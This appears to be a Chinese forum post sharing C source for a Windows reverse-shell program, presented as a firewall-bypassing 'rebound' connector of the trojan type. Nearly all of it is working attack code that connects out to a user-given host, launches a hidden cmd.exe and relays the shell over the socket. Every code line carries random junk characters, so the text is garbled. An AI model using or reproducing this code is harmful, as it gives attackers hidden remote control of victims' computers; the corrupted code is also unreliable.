这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @U7U?.p
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/* ============================== AmUe0CQ:k'
Rebound port in Windows NT K6PC&+x
By wind,2006/7 ^MF=,U'8
===============================*/ bCe[nmE2
#include oW\Q>c7
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#include x3:ZB
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#pragma comment(lib,"wsock32.lib") Lx4H/[$6D
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void OutputShell(); o
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SOCKET sClient; 5VY%o8xXa
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zmrX%!CW
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void main(int argc,char **argv) DU*Hnii
{ m-&a~l
WSADATA stWsaData; (RI>aDGRH
int nRet; 'PxL^
SOCKADDR_IN stSaiClient,stSaiServer; }K qw\]`
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if(argc != 3) }VJ hw*s
{ d-_93
printf("Useage:\n\rRebound DestIP DestPort\n"); kG~ivB}x
return; rK0|9^i{
} J}93u(T5
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WSAStartup(MAKEWORD(2,2),&stWsaData); &El[
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PhI{3B/
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stSaiClient.sin_family = AF_INET; 42H#n]Y
stSaiClient.sin_port = htons(0); N-_| %C-.
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g*\v}6
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) b_"V%<I
{ )G F
printf("Bind Socket Failed!\n"); 07E".T%Ts
return; _^,[wD
} RvZryA*vu
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stSaiServer.sin_family = AF_INET; `cy"-CJS
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J>&dWKM3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d&3I>E$UP
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Qr xO
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{ 4'u|L&ow
printf("Connect Error!"); .x9nWa
return; YH:W]
} r>D[5B
OutputShell(); !{|yAt9kP
} x,@O:e
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void OutputShell() zv3<i (
{ 4<!}4
char szBuff[1024]; yO69p
SECURITY_ATTRIBUTES stSecurityAttributes; #0$eTdx#
OSVERSIONINFO stOsversionInfo; P St|!GST
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A&@jA5Jb
STARTUPINFO stStartupInfo; 8Gzs
char *szShell; Q'V,?#
PROCESS_INFORMATION stProcessInformation; ^9m^#"ZW`
unsigned long lBytesRead; [pyXX>:M
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,_7tRkn
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #)c;i<Q3S
stSecurityAttributes.lpSecurityDescriptor = 0; trNK9@wT)
stSecurityAttributes.bInheritHandle = TRUE; rea}Uq+po
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); > & lg
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %#;(]7Zq
& m ";D
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -O,O<tOm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P#'DG W&W0
stStartupInfo.wShowWindow = SW_HIDE; 5;uX"zG
stStartupInfo.hStdInput = hReadPipe; ^[,1+WS%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ) a2m<"
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GetVersionEx(&stOsversionInfo); & ;x1Rx
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switch(stOsversionInfo.dwPlatformId) wBaFC\CW
{ 4~J1pcBno%
case 1: /$N#_Xblr
szShell = "command.com"; k?*DBXJv
break; =u1w\>( 2Y
default: ri_6wbPp
szShell = "cmd.exe"; I<o4 l[--
break; ~+NFWNgN
} X2mm'JDwK
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %EhU!K#[
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send(sClient,szMsg,77,0); ROiX=i
while(1) 0}3'h#33=
{ "VOWV3Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); '%/u103{e
if(lBytesRead) */m~m?
{ {?M*ZRO'
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Jd_1>p
send(sClient,szBuff,lBytesRead,0); Ih0>]h-7
} Hr.JZ>~<
else eEb1R}@
{ .A f)y_
lBytesRead=recv(sClient,szBuff,1024,0); YSUH*i/%
if(lBytesRead<=0) break; XzwQ,+IAr
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Zvw3C%In
} 9MlfZsby
} \7?MUa.4
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return; YedipYG9;
}